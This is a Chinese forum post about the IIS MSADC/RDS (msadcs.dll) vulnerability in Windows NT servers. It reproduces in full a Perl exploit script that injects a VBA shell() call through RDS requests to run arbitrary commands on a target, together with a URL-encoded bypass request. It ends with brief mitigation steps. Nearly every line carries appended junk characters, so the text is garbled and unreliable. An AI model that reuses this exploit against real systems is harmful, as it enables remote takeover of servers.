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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) )[E7\pc  
c48I-{?  
涉及程序: !Okl3 !fC  
Microsoft NT server OskQ[ e0  
H<*n5r(c  
描述: ^*,?x  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 J8&0l&~ 6  
&~=d;llkT  
详细: LO%OH u}]  
如果你没有时间读详细内容的话,就删除: _akpW  
c:\Program Files\Common Files\System\Msadc\msadcs.dll m9ky?A,  
有关的安全问题就没有了。 PoRP]Q*n  
4`?WdCW8  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 'SWK{t \4  
+a+DiD>./  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 v#5hK<9  
关于利用ODBC远程漏洞的描述,请参看: 8'Q&FW3"  
ji5Nq+S2  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm $A98h -*x  
k+eeVy  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 1<0Z@D~F  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp B2)5Z]  
+rDKx(Rk  
这里不再论述。 <CS,v)4,nH  
@8cn<+"b  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: i06|P I  
T4;gF6(0]  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 78IY&q:v&0  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ]1q`N7  
#V@vz#bo=  
fDChq[LAn  
#将下面这段保存为txt文件,然后: "perl -x 文件名" :M@#.  
X09i+/ICK  
#!perl <4"Bb_U  
# LiEDTXRz  
# MSADC/RDS 'usage' (aka exploit) script W;F=7[h  
# CI|#,^  
# by rain.forest.puppy @3?dI@i(  
# =vb'T  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me y*-D  
# beta test and find errors! )jw!, "_4  
yM?jiy  
use Socket; use Getopt::Std; \?$kpV  
getopts("e:vd:h:XR", \%args); FMl_I26]  
{YIVi:4q  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; L,sXJ23.  
I\= &v^]  
if (!defined $args{h} && !defined $args{R}) { 9*(uJA  
print qq~ K6nNrd}p:  
Usage: msadc.pl -h <host> { -d <delay> -X -v } \IOF 9) F  
-h <host> = host you want to scan (ip or domain) ql_,U8Jw  
-d <seconds> = delay between calls, default 1 second DV!0zzJ  
-X = dump Index Server path table, if available <t,lq  
-v = verbose wf~n>e^e  
-e = external dictionary file for step 5 .h@bp1)l  
U;Yw\&R,  
Or a -R will resume a command session x!fRT.,}  
+"VXw2R_e  
~; exit;} rpL]5e!  
@:P:`Zk  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; oLt%i:,A  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} V"A* B  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} #ahe@|E'Y  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); z+j3j2  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 7C~g?1  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } $T*g@]   
8 HD I]  
if (!defined $args{R}){ $ret = &has_msadc; ^B(:Hv}G(:  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Z07SK ' U  
cXt]55"  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" TcH7!fUj  
. "cmd /c "; }t1J`+x%  
$in=<STDIN>; chomp $in; Qt=OiKZ  
$command="cmd /c " . $in ; W'Y#(N[ktP  
GOX2'N\h^  
if (defined $args{R}) {&load; exit;} fczH^+mI  
!PEP`wEKdp  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; JzkI!5c<j  
&try_btcustmr; -D wO*f  
{fn1sGA  
print "\nStep 2: Trying to make our own DSN..."; N. 0~4H %U  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; \WM"VT  
+VO(6Jn  
print "\nStep 3: Trying known DSNs..."; dMa6hI{k  
&known_dsn; 3/CKy##r%]  
7"Q;Yi2(  
print "\nStep 4: Trying known .mdbs..."; b5l;bXp]  
&known_mdb; <1kK@m -E  
I=7 YAm[W  
if (defined $args{e}){ 35~1$uRA  
print "\nStep 5: Trying dictionary of DSN names..."; F?4&qbdD  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } i5czm?x  
UQJ  
print "Sorry Charley...maybe next time?\n"; 3moDu  
exit; o#V{mm,{Pm  
,BlNj^5f  
############################################################################## DxG8`}+  
Y".4."NX  
sub sendraw { # ripped and modded from whisker :a)`iJnb  
sleep($delay); # it's a DoS on the server! At least on mine... W9jxw4)  
my ($pstr)=@_; rf =Wq_  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || !4T7@V`G  
die("Socket problems\n"); N?c!uO|h|  
if(connect(S,pack "SnA4x8",2,80,$target)){ #M[%JTTn  
select(S); $|=1; }i9VV+L#1  
print $pstr; my @in=<S>; G]gc*\4  
select(STDOUT); close(S); 5:SS2>~g  
return @in; }%S#d&wh$_  
} else { die("Can't connect...\n"); }} w!52DBOe+  
ZY8:7Q@P>  
############################################################################## o=C'u  
4u7^v1/  
sub make_header { # make the HTTP request h:<?)g~U  
my $msadc=<<EOT 'A'[N :i  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 WdTia o,r  
User-Agent: ACTIVEDATA Z (C0+A\  
Host: $ip bfKF6  
Content-Length: $clen =dY!-#yg!  
Connection: Keep-Alive u X+ YH  
8]l(D  
ADCClientVersion:01.06 \s,~|0_V  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 $u::(s} x<  
mN1n/LNi  
--!ADM!ROX!YOUR!WORLD! c{})Z=  
Content-Type: application/x-varg hfRxZ>O2  
Content-Length: $reqlen 0!q@b  
yjIA`5^  
EOT kB_T9$0e#  
; $msadc=~s/\n/\r\n/g; x\K,@  
return $msadc;} |6b&khAM  
Ko %e#q-  
############################################################################## Si-Q'*Y=  
4.q^r]m*  
sub make_req { # make the RDS request *+j r? |  
my ($switch, $p1, $p2)=@_; MD[;Ha  
my $req=""; my $t1, $t2, $query, $dsn; ;AJ6I*O@+  
 x]~&4fp  
if ($switch==1){ # this is the btcustmr.mdb query 4ms"mIt  
$query="Select * from Customers where City=" . make_shell(); o}y(T07n  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . {z |+ .D  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} (E7C9U*  
sQMfU{S /  
elsif ($switch==2){ # this is general make table query ,(z"s8N  
$query="create table AZZ (B int, C varchar(10))"; vg*~t3{L  
$dsn="$p1";} jXYjs8Iy  
M^.>UZKyl  
elsif ($switch==3){ # this is general exploit table query {EyWSf"  
$query="select * from AZZ where C=" . make_shell(); y*#+:D]o*  
$dsn="$p1";} mIv}%hD  
g\G}b  
elsif ($switch==4){ # attempt to hork file info from index server *)s^+F 0  
$query="select path from scope()"; 3% O[W  
$dsn="Provider=MSIDXS;";} b-YmS=*  
> QG@P  
elsif ($switch==5){ # bad query pLtK:Z  
$query="select"; O-qpB;|  
$dsn="$p1";} fY!9i5@'  
nt*K@  
$t1= make_unicode($query); `a9iq>   
$t2= make_unicode($dsn); il$eO 7  
$req = "\x02\x00\x03\x00"; |P7FPmn  
$req.= "\x08\x00" . pack ("S1", length($t1)); =JN{j2xY  
$req.= "\x00\x00" . $t1 ; UZJ#/x5F  
$req.= "\x08\x00" . pack ("S1", length($t2)); +3]V>Mv  
$req.= "\x00\x00" . $t2 ; ln_[@K[oX  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; a.fdCI]%  
return $req;} S#S&_#$`,X  
mi@ni+2Tn  
############################################################################## !JA//{?  
` pfRY!  
sub make_shell { # this makes the shell() statement kQO-V4z!  
return "'|shell(\"$command\")|'";} ^CP>|JWD^  
$Ao'mT  
############################################################################## *Nur>11D  
,n &Lp  
sub make_unicode { # quick little function to convert to unicode \W 7pSV-U  
my ($in)=@_; my $out; t@q==VHF  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } {pC$jd>T  
return $out;} O6Y1*XTmH6  
TEi1,yc  
############################################################################## ?b\oM v5y  
Z=(Tq1t  
sub rdo_success { # checks for RDO return success (this is kludge) qI*7ToBJ  
my (@in) = @_; my $base=content_start(@in); hp}JKj@  
if($in[$base]=~/multipart\/mixed/){ -!IeP]n#P  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} t)4] 2z)$  
return 0;} =A(Az  
XzPUll;ZU  
############################################################################## <aY>fg d/1  
Em(Okr,0  
sub make_dsn { # this makes a DSN for us >LJ<6s[=  
my @drives=("c","d","e","f"); 3;3 cTXR?=  
print "\nMaking DSN: "; .H Pa\b\L>  
foreach $drive (@drives) { ba^/Ar(B  
print "$drive: "; \6%`)p  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 6_>(9&g`zV  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ^ LVKXr  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); v[O?7Np  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; +NVXFjPC  
return 0 if $2 eq "404"; # not found/doesn't exist Cm9#FA  
if($2 eq "200") { 2IXtIE  
foreach $line (@results) { ywA7hm  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}  vPAL,  
} return 0;} hP$5>G(3  
5 hW#BB  
############################################################################## jOm7:+H  
cJzkA^T9  
sub verify_exists { |nBZ:$D  
my ($page)=@_;  '3xK1Am  
my @results=sendraw("GET $page HTTP/1.0\n\n"); l YpoS  
return $results[0];} Ru4M7 %  
9(lcQuE9  
############################################################################## <7`U1DR=  
FIx|4[&>S  
sub try_btcustmr { b(t8TR#-  
my @drives=("c","d","e","f"); H\$uRA oo*  
my @dirs=("winnt","winnt35","winnt351","win","windows"); -FW^fGS+  
~ /rKKc  
foreach $dir (@dirs) { nK#%Od{GF  
print "$dir -> "; # fun status so you can see progress .9vt<<Kwh  
foreach $drive (@drives) { $.4N@=s,?c  
print "$drive: "; # ditto 3rX 40>Cs8  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; X2'XbG 3  
$reqlenlen=length( "$reqlen" ); S" (Nf+ux  
$clen= 206 + $reqlenlen + $reqlen; v7,-Q*  
>96+s)T%;  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); l[[^]__  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} X6xs@tgQ  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} m@2=v q1f  
Y++n0sK5<  
############################################################################## ll*Ez"  
}:(;mW8 D  
sub odbc_error { z>)lp$  
my (@in)=@_; my $base; `nY.&YT  
my $base = content_start(@in); >X*Y jv:r  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this LMuDda  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; jwSPLq%  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ,.0B0Y-X  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; D;[%*q*  
return $in[$base+4].$in[$base+5].$in[$base+6];} /4|_A {m{m  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; )&l5I4CIf  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . (L:Mdo  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} uzh TNf  
H-mQ{K^  
############################################################################## ]GD&EQ  
~i!I6d~  
sub verbose { }$LnjwM;,  
my ($in)=@_; 1fC)&4W  
return if !$verbose; IkO [R1K  
print STDOUT "\n$in\n";} 8Wgzca Q*  
/T+%q#4  
##############################################################################  btBu[;  
t%Bh'HkG  
sub save { $-]I?cWlQ  
my ($p1, $p2, $p3, $p4)=@_; uPE Ab2u="  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; =sF4H_B  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; r_kaS als  
close OUT;} f,ZJFb98  
.o]9 HbIk5  
############################################################################## 6C\WX(@4  
A (H2Gt D  
sub load { U>@AE  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; u"m TS&  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); BCtKxtbS  
@p=<IN>; close(IN); f?> ?jf  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); &.qLE  
$target= inet_aton($ip) || die("inet_aton problems"); P)LOAe1'  
print "Resuming to $ip ..."; I hv@2{*(b  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; HE>V\+ AL  
if($p[1]==1) { |9X2AS Qu  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; `?SC.KT  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; DuLl"w\_@  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); N1 sdWXG  
if (rdo_success(@results)){print "Success!\n";} W }v ,6Oe  
else { print "failed\n"; verbose(odbc_error(@results));}} c'mg=jH  
elsif ($p[1]==3){ \:+ NVIN  
if(run_query("$p[3]")){ =woP~+  
print "Success!\n";} else { print "failed\n"; }} dI>cPqQ  
elsif ($p[1]==4){ bh#6yvpMR  
if(run_query($drvst . "$p[3]")){ db&!t!#,  
print "Success!\n"; } else { print "failed\n"; }} \S&OAe/b  
exit;} %(]B1Zg6,  
?bg /%o  
############################################################################## |<O^M q  
&eqqgLz  
sub create_table { w9n0p0xr<  
my ($in)=@_; T(Bcp^N  
$reqlen=length( make_req(2,$in,"") ) - 28; vP=H 2P  
$reqlenlen=length( "$reqlen" ); yr?X.Np  
$clen= 206 + $reqlenlen + $reqlen; m/,80J8L+f  
my @results=sendraw(make_header() . make_req(2,$in,""));  J%T=FU  
return 1 if rdo_success(@results); oTx>oM,  
my $temp= odbc_error(@results); verbose($temp); HLQ> |,9  
return 1 if $temp=~/Table 'AZZ' already exists/; DiGHo~f  
return 0;} T3LVn<Lm\  
*`LrvE@t  
############################################################################## JSmg6l?[u  
Ql9>i;AGV  
sub known_dsn { 1_l)$"  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go pF9WKpzE  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", u:tcL-;U  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ei"c|/pO  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); [j0jAl  
J8ScKMUN2  
foreach $dSn (@dsns) { %oquHkX%OJ  
print "."; %UhLCyC/  
next if (!is_access("DSN=$dSn")); sx]{N  
if(create_table("DSN=$dSn")){ Qvel#*-4  
print "$dSn successful\n"; J3e'?3w[  
if(run_query("DSN=$dSn")){ %9J:TH9E)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { |_QpB?b  
print "Something's borked. Use verbose next time\n";}}} print "\n";} d1D=R8P_u  
W; os4'h$  
############################################################################## ?%#no{9  
]&9=f#k%  
sub is_access { R%q:].  
my ($in)=@_; salDGsW^  
$reqlen=length( make_req(5,$in,"") ) - 28; AEDBr<  
$reqlenlen=length( "$reqlen" ); 6y57m;JW/  
$clen= 206 + $reqlenlen + $reqlen; (ti!Y"e2  
my @results=sendraw(make_header() . make_req(5,$in,"")); o*2Mjd]r  
my $temp= odbc_error(@results); 9U4[o<G]=  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); IKaW],sr#  
return 0;} =e0MEV#s.  
C'{B  
############################################################################## -$Kc"rX  
g9NE>n(3  
sub run_query { s@GE(Pu7  
my ($in)=@_; 1ox#hQBoS  
$reqlen=length( make_req(3,$in,"") ) - 28; ma!C:C9#J  
$reqlenlen=length( "$reqlen" ); >< P<k&  
$clen= 206 + $reqlenlen + $reqlen; 7=Pj}x)  
my @results=sendraw(make_header() . make_req(3,$in,"")); j>l  
return 1 if rdo_success(@results); hJ8% r_  
my $temp= odbc_error(@results); verbose($temp); 2I& dTxIa  
return 0;} DY{v@ <3  
G)c+GoK  
############################################################################## <a&xhG}  
aQf2}kD  
sub known_mdb { lQ4^I^?m  
my @drives=("c","d","e","f","g"); _MuzD&^qE  
my @dirs=("winnt","winnt35","winnt351","win","windows"); uXvE>VpJG  
my $dir, $drive, $mdb; G N=8;Kq%  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; J!G92A~*]  
&4 #%xg  
# this is sparse, because I don't know of many cIa`pU,6A  
my @sysmdbs=( "\\catroot\\icatalog.mdb", t F 7u-  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", *5?Qam3  
"\\system32\\certmdb.mdb", |T/s>OW  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% p$= 3$I  
S3$C#mHX  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Om>?"=yDE  
"\\cfusion\\cfapps\\forums\\forums_.mdb", g{uiY|  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", DiY74D  
"\\cfusion\\cfapps\\security\\realm_.mdb", CfD4m,6  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", FP7N^HVBG=  
"\\cfusion\\database\\cfexamples.mdb", #<U@SMv  
"\\cfusion\\database\\cfsnippets.mdb", 9ZR"Lo>3e+  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", b$_qG6)IJO  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", p@O,-&/D  
"\\cfusion\\brighttiger\\database\\cleam.mdb", z@?y(E  
"\\cfusion\\database\\smpolicy.mdb", }NRt:JC  
"\\cfusion\\database\cypress.mdb", qs= i+  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 8 nqF i  
"\\website\\cgi-win\\dbsample.mdb", qJO6m-  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", -dN`Ok<g  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ~l. C -  
); #these are just 59v=\; UI  
foreach $drive (@drives) { [eBt Dc*w  
foreach $dir (@dirs){ Evqy e;  
foreach $mdb (@sysmdbs) { L; A#N9  
print "."; ^,?>6O  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ?iEn~9WCS  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; m=v.<+>  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ c&aqN\'4"  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 4:733Q3oK  
} else { print "Something's borked. Use verbose next time\n"; }}}}} m=/HUt3(&0  
AE`UnlUSF  
foreach $drive (@drives) { 0;,Y_61  
foreach $mdb (@mdbs) { ;=E}PbZt2  
print "."; HZS.%+2  
if(create_table($drv . $drive . $dir . $mdb)){ m!!;CbPo  
print "\n" . $drive . $dir . $mdb . " successful\n"; "*V'   
if(run_query($drv . $drive . $dir . $mdb)){ =CS$c?  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; *f{4 _ts  
} else { print "Something's borked. Use verbose next time\n"; }}}} |u$*'EsP  
} w)1SZ }  
WE_'u+!B  
############################################################################## B|+% ExT7  
;~WoJlEK3  
sub hork_idx { 7}~nQl2  
print "\nAttempting to dump Index Server tables...\n"; .x/H2r'1  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; !vc 5NKv#n  
$reqlen=length( make_req(4,"","") ) - 28; 4ji'6JHPg  
$reqlenlen=length( "$reqlen" ); xaV3N[Zd  
$clen= 206 + $reqlenlen + $reqlen; +l!.<:sp  
my @results=sendraw2(make_header() . make_req(4,"","")); ,zH\P+*  
if (rdo_success(@results)){ \ $t{K  
my $max=@results; my $c; my %d; NwQ$gDgu t  
for($c=19; $c<$max; $c++){ 3UZ_1nY  
$results[$c]=~s/\x00//g; 4`cfFowK~  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; {ehYE^%N  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; x^Qij!mB%  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; gvo5^O+)HH  
$d{"$1$2"}="";} fIatp  
foreach $c (keys %d){ print "$c\n"; } :B|rs&  
} else {print "Index server doesn't seem to be installed.\n"; }} Wf%)::G*uR  
(Ia:>ocE0  
############################################################################## ;A*sub  
.>PwbZ  
sub dsn_dict { jv1p'qs4  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); )=aq j@v  
while(<IN>){ E%stFyr9`/  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 9o6qN1A0g  
next if (!is_access("DSN=$dSn")); rXip"uz(K>  
if(create_table("DSN=$dSn")){ S"87 <o  
print "$dSn successful\n"; m}: X\G(6Q  
if(run_query("DSN=$dSn")){ d~QJ}a  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { *tkf)[(  
print "Something's borked. Use verbose next time\n";}}} ]^{5`  
print "\n"; close(IN);} 0tMzVx S  
Pl#u ,Y  
############################################################################## L=s8em]7l  
Bxj4rC[  
sub sendraw2 { # ripped and modded from whisker ?V_v=X%w  
sleep($delay); # it's a DoS on the server! At least on mine... _+}hId  
my ($pstr)=@_; YhAO  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || rEU1 VvE  
die("Socket problems\n"); ;;U&mhz`  
if(connect(S,pack "SnA4x8",2,80,$target)){ ZX{eggXl  
print "Connected. Getting data";  P/]8+_K  
open(OUT,">raw.out"); my @in; /8hjs{(;  
select(S); $|=1; print $pstr; b+Vlq7Bc  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} !4t%\N6Ib  
close(OUT); select(STDOUT); close(S); return @in; c]z^(:_>  
} else { die("Can't connect...\n"); }} Ml +f3#HP  
cmaha%3d  
############################################################################## qPhVc9D#  
AO5a  
sub content_start { # this will take in the server headers HJ!)&xT  
my (@in)=@_; my $c; @OHNz!Lj:d  
for ($c=1;$c<500;$c++) { 'Nx"_jQ  
if($in[$c] =~/^\x0d\x0a/){ [r'hX#  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } x0TE+rf5   
else { return $c+1; }}} Gt!Hm(  
return -1;} # it should never get here actually : B1 "=ly  
TFhYu  
############################################################################## <!|=_W6  
}JT&lyO< b  
sub funky { pBQ[lPCY/  
my (@in)=@_; my $error=odbc_error(@in); F1`mq2^@  
if($error=~/ADO could not find the specified provider/){ R9+f^o` W  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Ag1nxV1M$  
exit;} W^3'9nYU  
if($error=~/A Handler is required/){ W$Aypy  
print "\nServer has custom handler filters (they most likely are patched)\n"; qrt2uE{K  
exit;} bs?4|#[K  
if($error=~/specified Handler has denied Access/){ nXxnyom,  
print "\nServer has custom handler filters (they most likely are patched)\n"; )%!X,  
exit;}} yG>sBc  
5=4-IO6W[]  
############################################################################## J=n^&y  
sn@)L~$V  
sub has_msadc { g|!=@9[dv  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); icK U)  
my $base=content_start(@results); UB% ;P-RD  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); `WQpGBS_z_  
return 0;} lw4#C`bx  
6b!1j,\Vx  
######################## Ew9 MWlk  
>v%UV:7ap  
];0:aSi#  
解决方案: $,T3vX]<  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll .3 ^*_  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ;[Hrpl S  
P$G|o|h  
拿出来充数 哈哈
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